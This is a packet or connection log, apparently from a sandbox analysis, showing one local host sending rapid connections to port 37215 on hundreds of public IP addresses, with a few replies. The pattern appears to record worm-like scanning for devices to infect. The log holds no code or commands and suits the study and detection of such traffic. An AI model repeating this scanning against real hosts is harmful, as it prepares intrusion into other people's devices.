Jan 1, 2024 12:51:50.000027895 CET	37751	37215	192.168.2.13	41.0.57.170
Jan 1, 2024 12:51:50.000031948 CET	37751	37215	192.168.2.13	92.192.212.32
Jan 1, 2024 12:51:50.000031948 CET	37751	37215	192.168.2.13	41.198.102.225
Jan 1, 2024 12:51:50.000036955 CET	37751	37215	192.168.2.13	45.33.166.82
Jan 1, 2024 12:51:50.000041008 CET	37751	37215	192.168.2.13	154.106.11.182
Jan 1, 2024 12:51:50.000072956 CET	37751	37215	192.168.2.13	197.19.248.125
Jan 1, 2024 12:51:50.000075102 CET	37751	37215	192.168.2.13	41.218.36.31
Jan 1, 2024 12:51:50.000096083 CET	37751	37215	192.168.2.13	156.178.144.218
Jan 1, 2024 12:51:50.000096083 CET	37751	37215	192.168.2.13	156.63.137.38
Jan 1, 2024 12:51:50.000096083 CET	37751	37215	192.168.2.13	41.239.132.13
Jan 1, 2024 12:51:50.000096083 CET	37751	37215	192.168.2.13	41.0.46.244
Jan 1, 2024 12:51:50.000099897 CET	37751	37215	192.168.2.13	102.10.145.14
Jan 1, 2024 12:51:50.000099897 CET	37751	37215	192.168.2.13	41.17.232.0
Jan 1, 2024 12:51:50.000101089 CET	37751	37215	192.168.2.13	156.126.126.201
Jan 1, 2024 12:51:50.000099897 CET	37751	37215	192.168.2.13	181.60.83.98
Jan 1, 2024 12:51:50.000102043 CET	37751	37215	192.168.2.13	120.12.91.28
Jan 1, 2024 12:51:50.000101089 CET	37751	37215	192.168.2.13	92.163.169.21
Jan 1, 2024 12:51:50.000102043 CET	37751	37215	192.168.2.13	95.182.132.2
Jan 1, 2024 12:51:50.000101089 CET	37751	37215	192.168.2.13	181.21.192.198
Jan 1, 2024 12:51:50.000117064 CET	37751	37215	192.168.2.13	197.35.45.165
Jan 1, 2024 12:51:50.000124931 CET	37751	37215	192.168.2.13	156.170.231.203
Jan 1, 2024 12:51:50.000127077 CET	37751	37215	192.168.2.13	156.128.115.248
Jan 1, 2024 12:51:50.000127077 CET	37751	37215	192.168.2.13	156.113.167.145
Jan 1, 2024 12:51:50.000127077 CET	37751	37215	192.168.2.13	197.110.206.8
Jan 1, 2024 12:51:50.000127077 CET	37751	37215	192.168.2.13	156.82.164.93
Jan 1, 2024 12:51:50.000128984 CET	37751	37215	192.168.2.13	197.50.51.213
Jan 1, 2024 12:51:50.000128984 CET	37751	37215	192.168.2.13	138.137.42.21
Jan 1, 2024 12:51:50.000128984 CET	37751	37215	192.168.2.13	102.103.202.37
Jan 1, 2024 12:51:50.000129938 CET	37751	37215	192.168.2.13	37.235.223.229
Jan 1, 2024 12:51:50.000128984 CET	37751	37215	192.168.2.13	122.23.134.205
Jan 1, 2024 12:51:50.000130892 CET	37751	37215	192.168.2.13	186.235.29.151
Jan 1, 2024 12:51:50.000128984 CET	37751	37215	192.168.2.13	197.135.226.113
Jan 1, 2024 12:51:50.000129938 CET	37751	37215	192.168.2.13	41.98.62.86
Jan 1, 2024 12:51:50.000130892 CET	37751	37215	192.168.2.13	197.118.24.73
Jan 1, 2024 12:51:50.000130892 CET	37751	37215	192.168.2.13	186.174.129.122
Jan 1, 2024 12:51:50.000130892 CET	37751	37215	192.168.2.13	156.150.134.189
Jan 1, 2024 12:51:50.000216007 CET	54328	37215	192.168.2.13	156.73.32.114
Jan 1, 2024 12:51:50.255461931 CET	37215	37751	197.146.207.241	192.168.2.13
Jan 1, 2024 12:51:50.257824898 CET	37215	37751	157.97.84.239	192.168.2.13
Jan 1, 2024 12:51:50.271604061 CET	37215	37751	197.246.174.13	192.168.2.13
Jan 1, 2024 12:51:50.322268963 CET	37215	37751	156.250.201.7	192.168.2.13
Jan 1, 2024 12:51:50.527236938 CET	37215	37751	197.129.248.38	192.168.2.13
Jan 1, 2024 12:51:51.001323938 CET	37751	37215	192.168.2.13	121.58.130.183
Jan 1, 2024 12:51:51.001363993 CET	37751	37215	192.168.2.13	41.209.168.162
Jan 1, 2024 12:51:51.001389980 CET	37751	37215	192.168.2.13	37.66.43.240
Jan 1, 2024 12:51:51.001413107 CET	37751	37215	192.168.2.13	41.225.91.235
Jan 1, 2024 12:51:51.001441002 CET	37751	37215	192.168.2.13	197.241.171.162
Jan 1, 2024 12:51:51.001458883 CET	37751	37215	192.168.2.13	156.34.169.139
Jan 1, 2024 12:51:51.001465082 CET	37751	37215	192.168.2.13	41.20.161.250
Jan 1, 2024 12:51:51.001465082 CET	37751	37215	192.168.2.13	102.191.82.210
Jan 1, 2024 12:51:51.001467943 CET	37751	37215	192.168.2.13	94.95.176.193
Jan 1, 2024 12:51:51.001482964 CET	37751	37215	192.168.2.13	156.112.63.118
Jan 1, 2024 12:51:51.001493931 CET	37751	37215	192.168.2.13	45.160.184.123
Jan 1, 2024 12:51:51.001496077 CET	37751	37215	192.168.2.13	156.10.174.21
Jan 1, 2024 12:51:51.001502037 CET	37751	37215	192.168.2.13	197.53.45.71
Jan 1, 2024 12:51:51.001516104 CET	37751	37215	192.168.2.13	190.201.138.185
Jan 1, 2024 12:51:51.001518965 CET	37751	37215	192.168.2.13	41.164.32.177
Jan 1, 2024 12:51:51.001518965 CET	37751	37215	192.168.2.13	196.238.80.26
Jan 1, 2024 12:51:51.001522064 CET	37751	37215	192.168.2.13	41.10.218.238
Jan 1, 2024 12:51:51.001526117 CET	37751	37215	192.168.2.13	41.151.244.173
Jan 1, 2024 12:51:51.001533031 CET	37751	37215	192.168.2.13	121.250.172.130
Jan 1, 2024 12:51:51.001542091 CET	37751	37215	192.168.2.13	156.26.93.133
Jan 1, 2024 12:51:51.001545906 CET	37751	37215	192.168.2.13	197.155.193.233
Jan 1, 2024 12:51:51.001545906 CET	37751	37215	192.168.2.13	156.222.104.114
Jan 1, 2024 12:51:51.001548052 CET	37751	37215	192.168.2.13	94.40.219.118
Jan 1, 2024 12:51:51.001558065 CET	37751	37215	192.168.2.13	41.141.199.126
Jan 1, 2024 12:51:51.001559019 CET	37751	37215	192.168.2.13	41.147.201.112
Jan 1, 2024 12:51:51.001564980 CET	37751	37215	192.168.2.13	94.63.175.12
Jan 1, 2024 12:51:51.001583099 CET	37751	37215	192.168.2.13	41.223.13.88
Jan 1, 2024 12:51:51.001583099 CET	37751	37215	192.168.2.13	181.27.118.33
Jan 1, 2024 12:51:51.001583099 CET	37751	37215	192.168.2.13	41.227.249.89
Jan 1, 2024 12:51:51.001590967 CET	37751	37215	192.168.2.13	107.254.213.236
Jan 1, 2024 12:51:51.001605034 CET	37751	37215	192.168.2.13	156.226.8.73
Jan 1, 2024 12:51:51.001605988 CET	37751	37215	192.168.2.13	197.136.185.75
Jan 1, 2024 12:51:51.001607895 CET	37751	37215	192.168.2.13	156.14.169.235
Jan 1, 2024 12:51:51.001610041 CET	37751	37215	192.168.2.13	41.238.88.245
Jan 1, 2024 12:51:51.001610041 CET	37751	37215	192.168.2.13	197.73.123.210
Jan 1, 2024 12:51:51.001611948 CET	37751	37215	192.168.2.13	156.201.50.216
Jan 1, 2024 12:51:51.001614094 CET	37751	37215	192.168.2.13	121.221.255.239
Jan 1, 2024 12:51:51.001615047 CET	37751	37215	192.168.2.13	41.130.26.55
Jan 1, 2024 12:51:51.001630068 CET	37751	37215	192.168.2.13	197.0.195.112
Jan 1, 2024 12:51:51.001638889 CET	37751	37215	192.168.2.13	197.4.210.82
Jan 1, 2024 12:51:51.001640081 CET	37751	37215	192.168.2.13	45.240.55.187
Jan 1, 2024 12:51:51.001641035 CET	37751	37215	192.168.2.13	41.179.72.22
Jan 1, 2024 12:51:51.001642942 CET	37751	37215	192.168.2.13	95.175.126.207
Jan 1, 2024 12:51:51.001643896 CET	37751	37215	192.168.2.13	197.117.55.57
Jan 1, 2024 12:51:51.001647949 CET	37751	37215	192.168.2.13	186.76.163.95
Jan 1, 2024 12:51:51.001651049 CET	37751	37215	192.168.2.13	121.72.149.1
Jan 1, 2024 12:51:51.001653910 CET	37751	37215	192.168.2.13	156.153.19.79
Jan 1, 2024 12:51:51.001653910 CET	37751	37215	192.168.2.13	37.30.106.57
Jan 1, 2024 12:51:51.001658916 CET	37751	37215	192.168.2.13	156.100.61.214
Jan 1, 2024 12:51:51.001661062 CET	37751	37215	192.168.2.13	197.45.156.56
Jan 1, 2024 12:51:51.001668930 CET	37751	37215	192.168.2.13	95.160.179.157
Jan 1, 2024 12:51:51.001673937 CET	37751	37215	192.168.2.13	41.5.17.164
Jan 1, 2024 12:51:51.001673937 CET	37751	37215	192.168.2.13	120.59.144.238
Jan 1, 2024 12:51:51.001684904 CET	37751	37215	192.168.2.13	156.178.8.84
Jan 1, 2024 12:51:51.001687050 CET	37751	37215	192.168.2.13	156.47.24.166
Jan 1, 2024 12:51:51.001693010 CET	37751	37215	192.168.2.13	197.222.223.177
Jan 1, 2024 12:51:51.001698017 CET	37751	37215	192.168.2.13	197.68.45.228
Jan 1, 2024 12:51:51.001698017 CET	37751	37215	192.168.2.13	197.224.183.208
Jan 1, 2024 12:51:51.001702070 CET	37751	37215	192.168.2.13	41.142.117.236
Jan 1, 2024 12:51:51.001709938 CET	37751	37215	192.168.2.13	37.66.32.161
Jan 1, 2024 12:51:51.001712084 CET	37751	37215	192.168.2.13	181.82.117.201
Jan 1, 2024 12:51:51.001712084 CET	37751	37215	192.168.2.13	92.21.224.234
Jan 1, 2024 12:51:51.001718998 CET	37751	37215	192.168.2.13	120.168.107.31
Jan 1, 2024 12:51:51.001728058 CET	37751	37215	192.168.2.13	156.149.239.30
Jan 1, 2024 12:51:51.001730919 CET	37751	37215	192.168.2.13	156.70.8.113
Jan 1, 2024 12:51:51.001733065 CET	37751	37215	192.168.2.13	138.169.59.24
Jan 1, 2024 12:51:51.001734018 CET	37751	37215	192.168.2.13	41.238.48.202
Jan 1, 2024 12:51:51.001744986 CET	37751	37215	192.168.2.13	181.237.206.42
Jan 1, 2024 12:51:51.001753092 CET	37751	37215	192.168.2.13	197.170.239.27
Jan 1, 2024 12:51:51.001753092 CET	37751	37215	192.168.2.13	156.121.206.83
Jan 1, 2024 12:51:51.001754999 CET	37751	37215	192.168.2.13	102.29.140.85
Jan 1, 2024 12:51:51.001765013 CET	37751	37215	192.168.2.13	122.161.205.153
Jan 1, 2024 12:51:51.001773119 CET	37751	37215	192.168.2.13	197.89.102.128
Jan 1, 2024 12:51:51.001775980 CET	37751	37215	192.168.2.13	156.241.125.73
Jan 1, 2024 12:51:51.001776934 CET	37751	37215	192.168.2.13	186.37.172.178
Jan 1, 2024 12:51:51.001791000 CET	37751	37215	192.168.2.13	122.12.107.205
Jan 1, 2024 12:51:51.001792908 CET	37751	37215	192.168.2.13	107.74.242.37
Jan 1, 2024 12:51:51.001794100 CET	37751	37215	192.168.2.13	160.223.78.71
Jan 1, 2024 12:51:51.001794100 CET	37751	37215	192.168.2.13	181.207.21.112
Jan 1, 2024 12:51:51.001796007 CET	37751	37215	192.168.2.13	156.54.137.173
Jan 1, 2024 12:51:51.001796007 CET	37751	37215	192.168.2.13	107.214.75.143
Jan 1, 2024 12:51:51.001799107 CET	37751	37215	192.168.2.13	156.185.221.48
Jan 1, 2024 12:51:51.001805067 CET	37751	37215	192.168.2.13	94.48.168.234
Jan 1, 2024 12:51:51.001806021 CET	37751	37215	192.168.2.13	156.149.107.180
Jan 1, 2024 12:51:51.001812935 CET	37751	37215	192.168.2.13	41.6.20.116
Jan 1, 2024 12:51:51.001813889 CET	37751	37215	192.168.2.13	190.189.193.116
Jan 1, 2024 12:51:51.001813889 CET	37751	37215	192.168.2.13	222.131.28.216
Jan 1, 2024 12:51:51.001813889 CET	37751	37215	192.168.2.13	41.3.61.97
Jan 1, 2024 12:51:51.001816034 CET	37751	37215	192.168.2.13	95.170.101.213
Jan 1, 2024 12:51:51.001816988 CET	37751	37215	192.168.2.13	120.111.224.132
Jan 1, 2024 12:51:51.001816988 CET	37751	37215	192.168.2.13	156.74.22.57
Jan 1, 2024 12:51:51.001816988 CET	37751	37215	192.168.2.13	120.37.40.173
Jan 1, 2024 12:51:51.001822948 CET	37751	37215	192.168.2.13	196.42.143.39
Jan 1, 2024 12:51:51.001827002 CET	37751	37215	192.168.2.13	41.86.151.176
Jan 1, 2024 12:51:51.001827002 CET	37751	37215	192.168.2.13	197.99.249.62
Jan 1, 2024 12:51:51.001828909 CET	37751	37215	192.168.2.13	156.207.180.215
Jan 1, 2024 12:51:51.001828909 CET	37751	37215	192.168.2.13	120.222.221.157
Jan 1, 2024 12:51:51.001832008 CET	37751	37215	192.168.2.13	197.35.225.190
Jan 1, 2024 12:51:51.001832008 CET	37751	37215	192.168.2.13	197.238.190.138
Jan 1, 2024 12:51:51.001835108 CET	37751	37215	192.168.2.13	154.201.33.16
Jan 1, 2024 12:51:51.001840115 CET	37751	37215	192.168.2.13	41.193.17.102
Jan 1, 2024 12:51:51.001848936 CET	37751	37215	192.168.2.13	41.93.73.137
Jan 1, 2024 12:51:51.001853943 CET	37751	37215	192.168.2.13	41.75.56.95
Jan 1, 2024 12:51:51.001858950 CET	37751	37215	192.168.2.13	197.25.170.212
Jan 1, 2024 12:51:51.001859903 CET	37751	37215	192.168.2.13	156.162.86.62
Jan 1, 2024 12:51:51.001859903 CET	37751	37215	192.168.2.13	156.193.44.20
Jan 1, 2024 12:51:51.001859903 CET	37751	37215	192.168.2.13	37.54.222.63
Jan 1, 2024 12:51:51.001859903 CET	37751	37215	192.168.2.13	92.141.47.20
Jan 1, 2024 12:51:51.001866102 CET	37751	37215	192.168.2.13	197.0.195.66
Jan 1, 2024 12:51:51.001866102 CET	37751	37215	192.168.2.13	197.140.0.249
Jan 1, 2024 12:51:51.001868963 CET	37751	37215	192.168.2.13	122.225.127.56
Jan 1, 2024 12:51:51.001873016 CET	37751	37215	192.168.2.13	41.16.181.209
Jan 1, 2024 12:51:51.001873016 CET	37751	37215	192.168.2.13	156.147.181.157
Jan 1, 2024 12:51:51.001873016 CET	37751	37215	192.168.2.13	41.55.255.52
Jan 1, 2024 12:51:51.001874924 CET	37751	37215	192.168.2.13	156.60.142.84
Jan 1, 2024 12:51:51.001876116 CET	37751	37215	192.168.2.13	95.9.156.212
Jan 1, 2024 12:51:51.001878977 CET	37751	37215	192.168.2.13	41.67.166.132
Jan 1, 2024 12:51:51.001882076 CET	37751	37215	192.168.2.13	45.198.44.25
Jan 1, 2024 12:51:51.001904011 CET	37751	37215	192.168.2.13	156.231.179.30
Jan 1, 2024 12:51:51.001908064 CET	37751	37215	192.168.2.13	102.197.140.157
Jan 1, 2024 12:51:51.001908064 CET	37751	37215	192.168.2.13	120.116.182.227
Jan 1, 2024 12:51:51.001924038 CET	37751	37215	192.168.2.13	37.188.5.26
Jan 1, 2024 12:51:51.001928091 CET	37751	37215	192.168.2.13	197.253.60.209
Jan 1, 2024 12:51:51.001928091 CET	37751	37215	192.168.2.13	156.52.151.181
Jan 1, 2024 12:51:51.001928091 CET	37751	37215	192.168.2.13	102.192.2.151
Jan 1, 2024 12:51:51.001928091 CET	37751	37215	192.168.2.13	107.106.117.138
Jan 1, 2024 12:51:51.001928091 CET	37751	37215	192.168.2.13	156.80.0.79
Jan 1, 2024 12:51:51.001941919 CET	37751	37215	192.168.2.13	222.195.63.159
Jan 1, 2024 12:51:51.001941919 CET	37751	37215	192.168.2.13	120.157.7.104
Jan 1, 2024 12:51:51.001941919 CET	37751	37215	192.168.2.13	197.10.47.235
Jan 1, 2024 12:51:51.001944065 CET	37751	37215	192.168.2.13	197.166.217.14
Jan 1, 2024 12:51:51.001944065 CET	37751	37215	192.168.2.13	41.78.145.43
Jan 1, 2024 12:51:51.001945019 CET	37751	37215	192.168.2.13	197.111.0.186
Jan 1, 2024 12:51:51.001944065 CET	37751	37215	192.168.2.13	94.236.184.122
Jan 1, 2024 12:51:51.001945019 CET	37751	37215	192.168.2.13	41.214.248.223
Jan 1, 2024 12:51:51.001945019 CET	37751	37215	192.168.2.13	92.232.216.47
Jan 1, 2024 12:51:51.001945019 CET	37751	37215	192.168.2.13	157.175.57.233
Jan 1, 2024 12:51:51.001945019 CET	37751	37215	192.168.2.13	156.179.82.164
Jan 1, 2024 12:51:51.001957893 CET	37751	37215	192.168.2.13	107.94.208.22
Jan 1, 2024 12:51:51.001959085 CET	37751	37215	192.168.2.13	41.194.19.142
Jan 1, 2024 12:51:51.001960039 CET	37751	37215	192.168.2.13	156.244.62.225
Jan 1, 2024 12:51:51.001960039 CET	37751	37215	192.168.2.13	94.241.156.211
Jan 1, 2024 12:51:51.001960039 CET	37751	37215	192.168.2.13	156.212.231.16
Jan 1, 2024 12:51:51.001961946 CET	37751	37215	192.168.2.13	157.85.168.45
Jan 1, 2024 12:51:51.001966953 CET	37751	37215	192.168.2.13	197.177.123.127
Jan 1, 2024 12:51:51.001966953 CET	37751	37215	192.168.2.13	197.162.103.102
Jan 1, 2024 12:51:51.001966953 CET	37751	37215	192.168.2.13	181.134.64.153
Jan 1, 2024 12:51:51.001966953 CET	37751	37215	192.168.2.13	41.169.69.251
Jan 1, 2024 12:51:51.001966953 CET	37751	37215	192.168.2.13	154.216.104.52
Jan 1, 2024 12:51:51.001969099 CET	37751	37215	192.168.2.13	160.163.183.210
Jan 1, 2024 12:51:51.001969099 CET	37751	37215	192.168.2.13	156.208.91.132
Jan 1, 2024 12:51:51.001969099 CET	37751	37215	192.168.2.13	197.225.238.96
Jan 1, 2024 12:51:51.001969099 CET	37751	37215	192.168.2.13	45.47.18.242
Jan 1, 2024 12:51:51.001975060 CET	37751	37215	192.168.2.13	121.198.12.76
Jan 1, 2024 12:51:51.001975060 CET	37751	37215	192.168.2.13	41.227.209.61
Jan 1, 2024 12:51:51.001975060 CET	37751	37215	192.168.2.13	197.245.115.64
Jan 1, 2024 12:51:51.001976967 CET	37751	37215	192.168.2.13	120.178.113.222
Jan 1, 2024 12:51:51.001976967 CET	37751	37215	192.168.2.13	41.227.149.94
Jan 1, 2024 12:51:51.001976967 CET	37751	37215	192.168.2.13	154.214.210.35
Jan 1, 2024 12:51:51.001977921 CET	37751	37215	192.168.2.13	41.207.142.131
Jan 1, 2024 12:51:51.001977921 CET	37751	37215	192.168.2.13	41.211.74.29
Jan 1, 2024 12:51:51.001977921 CET	37751	37215	192.168.2.13	156.148.224.249
Jan 1, 2024 12:51:51.001981020 CET	37751	37215	192.168.2.13	37.119.63.225
Jan 1, 2024 12:51:51.001977921 CET	37751	37215	192.168.2.13	197.16.233.114
Jan 1, 2024 12:51:51.001981020 CET	37751	37215	192.168.2.13	190.235.113.88
Jan 1, 2024 12:51:51.001977921 CET	37751	37215	192.168.2.13	156.147.212.193
Jan 1, 2024 12:51:51.001996040 CET	37751	37215	192.168.2.13	154.41.205.53
Jan 1, 2024 12:51:51.001996040 CET	37751	37215	192.168.2.13	197.210.217.239
Jan 1, 2024 12:51:51.001996040 CET	37751	37215	192.168.2.13	41.107.76.33
Jan 1, 2024 12:51:51.001996040 CET	37751	37215	192.168.2.13	197.142.190.20
Jan 1, 2024 12:51:51.001996040 CET	37751	37215	192.168.2.13	157.101.39.214
Jan 1, 2024 12:51:51.002002001 CET	37751	37215	192.168.2.13	156.50.69.164
Jan 1, 2024 12:51:51.002007961 CET	37751	37215	192.168.2.13	197.134.154.144
Jan 1, 2024 12:51:51.002007961 CET	37751	37215	192.168.2.13	41.65.50.52
Jan 1, 2024 12:51:51.002008915 CET	37751	37215	192.168.2.13	156.180.136.216
Jan 1, 2024 12:51:51.002007961 CET	37751	37215	192.168.2.13	197.181.177.185
Jan 1, 2024 12:51:51.002007961 CET	37751	37215	192.168.2.13	197.1.2.29
Jan 1, 2024 12:51:51.002007961 CET	37751	37215	192.168.2.13	156.96.155.59
Jan 1, 2024 12:51:51.002012968 CET	37751	37215	192.168.2.13	196.173.148.107
Jan 1, 2024 12:51:51.002012968 CET	37751	37215	192.168.2.13	41.187.88.151
Jan 1, 2024 12:51:51.002012968 CET	37751	37215	192.168.2.13	41.167.252.56
Jan 1, 2024 12:51:51.002012968 CET	37751	37215	192.168.2.13	154.197.80.51
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	197.145.77.65
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	197.13.100.199
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	197.30.165.24
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	197.207.3.5
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	190.214.102.100
Jan 1, 2024 12:51:51.002017021 CET	37751	37215	192.168.2.13	156.224.10.223
Jan 1, 2024 12:51:51.002027035 CET	37751	37215	192.168.2.13	156.141.229.229
Jan 1, 2024 12:51:51.002027035 CET	37751	37215	192.168.2.13	102.101.118.56
Jan 1, 2024 12:51:51.002027035 CET	37751	37215	192.168.2.13	102.32.91.229
Jan 1, 2024 12:51:51.002027035 CET	37751	37215	192.168.2.13	41.188.145.96
Jan 1, 2024 12:51:51.002027035 CET	37751	37215	192.168.2.13	41.172.202.52
Jan 1, 2024 12:51:51.002047062 CET	37751	37215	192.168.2.13	156.118.67.239
Jan 1, 2024 12:51:51.002048969 CET	37751	37215	192.168.2.13	45.167.166.237
Jan 1, 2024 12:51:51.002053976 CET	37751	37215	192.168.2.13	41.120.236.128
Jan 1, 2024 12:51:51.002053976 CET	37751	37215	192.168.2.13	37.171.129.96
Jan 1, 2024 12:51:51.002059937 CET	37751	37215	192.168.2.13	156.90.31.195
Jan 1, 2024 12:51:51.002059937 CET	37751	37215	192.168.2.13	94.174.166.18
Jan 1, 2024 12:51:51.002059937 CET	37751	37215	192.168.2.13	197.106.28.144
Jan 1, 2024 12:51:51.002060890 CET	37751	37215	192.168.2.13	156.93.41.72
Jan 1, 2024 12:51:51.002062082 CET	37751	37215	192.168.2.13	156.246.14.252
Jan 1, 2024 12:51:51.002064943 CET	37751	37215	192.168.2.13	156.155.142.147
Jan 1, 2024 12:51:51.002064943 CET	37751	37215	192.168.2.13	156.90.233.40
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	41.212.43.67
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	120.214.224.161
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	156.117.203.82
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	197.95.169.112
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	197.83.253.87
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	197.217.72.232
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	197.223.162.29
Jan 1, 2024 12:51:51.002067089 CET	37751	37215	192.168.2.13	41.99.70.153
Jan 1, 2024 12:51:51.002074003 CET	37751	37215	192.168.2.13	41.26.99.185
Jan 1, 2024 12:51:51.002074003 CET	37751	37215	192.168.2.13	197.17.187.196
Jan 1, 2024 12:51:51.002074003 CET	37751	37215	192.168.2.13	197.190.72.6
Jan 1, 2024 12:51:51.002074003 CET	37751	37215	192.168.2.13	197.164.230.62
Jan 1, 2024 12:51:51.002074003 CET	37751	37215	192.168.2.13	41.127.68.69
Jan 1, 2024 12:51:51.002082109 CET	37751	37215	192.168.2.13	156.161.46.208
Jan 1, 2024 12:51:51.002083063 CET	37751	37215	192.168.2.13	197.1.204.163
Jan 1, 2024 12:51:51.002083063 CET	37751	37215	192.168.2.13	41.29.194.25
Jan 1, 2024 12:51:51.002084017 CET	37751	37215	192.168.2.13	156.158.130.2
Jan 1, 2024 12:51:51.002084017 CET	37751	37215	192.168.2.13	121.254.58.158
Jan 1, 2024 12:51:51.002084970 CET	37751	37215	192.168.2.13	156.113.80.30
Jan 1, 2024 12:51:51.002084970 CET	37751	37215	192.168.2.13	156.57.160.135
Jan 1, 2024 12:51:51.002084970 CET	37751	37215	192.168.2.13	41.148.233.39
Jan 1, 2024 12:51:51.002085924 CET	37751	37215	192.168.2.13	190.116.115.25
Jan 1, 2024 12:51:51.002089977 CET	37751	37215	192.168.2.13	222.194.97.109
Jan 1, 2024 12:51:51.002089977 CET	37751	37215	192.168.2.13	157.11.49.217
Jan 1, 2024 12:51:51.002106905 CET	37751	37215	192.168.2.13	190.220.114.117
Jan 1, 2024 12:51:51.002106905 CET	37751	37215	192.168.2.13	156.18.119.139
Jan 1, 2024 12:51:51.002106905 CET	37751	37215	192.168.2.13	92.127.156.40
Jan 1, 2024 12:51:51.002106905 CET	37751	37215	192.168.2.13	41.72.109.27
Jan 1, 2024 12:51:51.002106905 CET	37751	37215	192.168.2.13	197.216.77.2
Jan 1, 2024 12:51:51.002110004 CET	37751	37215	192.168.2.13	156.216.252.150
Jan 1, 2024 12:51:51.002113104 CET	37751	37215	192.168.2.13	196.82.244.45
Jan 1, 2024 12:51:51.002113104 CET	37751	37215	192.168.2.13	41.41.254.114
Jan 1, 2024 12:51:51.002113104 CET	37751	37215	192.168.2.13	197.137.89.224
Jan 1, 2024 12:51:51.002114058 CET	37751	37215	192.168.2.13	197.58.193.56
Jan 1, 2024 12:51:51.002114058 CET	37751	37215	192.168.2.13	120.105.175.109
Jan 1, 2024 12:51:51.002115011 CET	37751	37215	192.168.2.13	181.97.244.204
Jan 1, 2024 12:51:51.002115965 CET	37751	37215	192.168.2.13	121.209.93.46
Jan 1, 2024 12:51:51.002116919 CET	37751	37215	192.168.2.13	197.179.223.1
Jan 1, 2024 12:51:51.002130032 CET	37751	37215	192.168.2.13	197.183.29.79
Jan 1, 2024 12:51:51.002130985 CET	37751	37215	192.168.2.13	121.223.78.103
Jan 1, 2024 12:51:51.002132893 CET	37751	37215	192.168.2.13	156.205.252.191
Jan 1, 2024 12:51:51.002136946 CET	37751	37215	192.168.2.13	197.247.42.51
Jan 1, 2024 12:51:51.002136946 CET	37751	37215	192.168.2.13	41.71.109.34
Jan 1, 2024 12:51:51.002136946 CET	37751	37215	192.168.2.13	107.83.120.68
Jan 1, 2024 12:51:51.002149105 CET	37751	37215	192.168.2.13	197.113.64.203
Jan 1, 2024 12:51:51.002156973 CET	37751	37215	192.168.2.13	41.33.24.222
Jan 1, 2024 12:51:51.002156973 CET	37751	37215	192.168.2.13	197.28.145.136
Jan 1, 2024 12:51:51.002157927 CET	37751	37215	192.168.2.13	157.63.144.110
Jan 1, 2024 12:51:51.002157927 CET	37751	37215	192.168.2.13	197.24.26.166
Jan 1, 2024 12:51:51.002160072 CET	37751	37215	192.168.2.13	197.227.80.237
Jan 1, 2024 12:51:51.002177000 CET	37751	37215	192.168.2.13	138.48.85.49
Jan 1, 2024 12:51:51.002180099 CET	37751	37215	192.168.2.13	41.111.105.121
Jan 1, 2024 12:51:51.002180099 CET	37751	37215	192.168.2.13	197.30.80.10
Jan 1, 2024 12:51:51.002181053 CET	37751	37215	192.168.2.13	197.233.203.90
Jan 1, 2024 12:51:51.002192974 CET	37751	37215	192.168.2.13	156.78.214.36
Jan 1, 2024 12:51:51.002192974 CET	37751	37215	192.168.2.13	197.6.177.92
Jan 1, 2024 12:51:51.002228975 CET	37751	37215	192.168.2.13	156.132.197.202
Jan 1, 2024 12:51:51.002228975 CET	37751	37215	192.168.2.13	41.30.38.150
Jan 1, 2024 12:51:51.002229929 CET	37751	37215	192.168.2.13	190.247.40.11
Jan 1, 2024 12:51:51.002229929 CET	37751	37215	192.168.2.13	197.28.101.136
Jan 1, 2024 12:51:51.002229929 CET	37751	37215	192.168.2.13	121.143.78.241
Jan 1, 2024 12:51:51.002230883 CET	37751	37215	192.168.2.13	156.137.157.135
Jan 1, 2024 12:51:51.002232075 CET	37751	37215	192.168.2.13	41.143.133.143
Jan 1, 2024 12:51:51.002232075 CET	37751	37215	192.168.2.13	190.93.216.223
Jan 1, 2024 12:51:51.002248049 CET	37751	37215	192.168.2.13	41.37.60.248
Jan 1, 2024 12:51:51.002248049 CET	37751	37215	192.168.2.13	156.195.33.244
Jan 1, 2024 12:51:51.002248049 CET	37751	37215	192.168.2.13	197.222.2.12
Jan 1, 2024 12:51:51.002249956 CET	37751	37215	192.168.2.13	94.186.240.115
Jan 1, 2024 12:51:51.002249956 CET	37751	37215	192.168.2.13	156.141.63.215
Jan 1, 2024 12:51:51.002249956 CET	37751	37215	192.168.2.13	156.2.151.154
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	156.200.18.39
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	186.71.145.69
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	197.118.80.104
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	197.167.94.123
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	197.17.127.201
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	157.123.200.69
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	156.175.0.92
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	156.119.26.51
Jan 1, 2024 12:51:51.002269030 CET	37751	37215	192.168.2.13	157.214.190.130
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	138.22.197.236
Jan 1, 2024 12:51:51.002269030 CET	37751	37215	192.168.2.13	156.128.32.135
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	156.139.57.44
Jan 1, 2024 12:51:51.002253056 CET	37751	37215	192.168.2.13	197.43.139.220
Jan 1, 2024 12:51:51.002264023 CET	37751	37215	192.168.2.13	156.142.0.161
Jan 1, 2024 12:51:51.002268076 CET	37751	37215	192.168.2.13	197.38.200.219
Jan 1, 2024 12:51:51.002268076 CET	37751	37215	192.168.2.13	156.66.174.191
Jan 1, 2024 12:51:51.002268076 CET	37751	37215	192.168.2.13	197.218.25.194
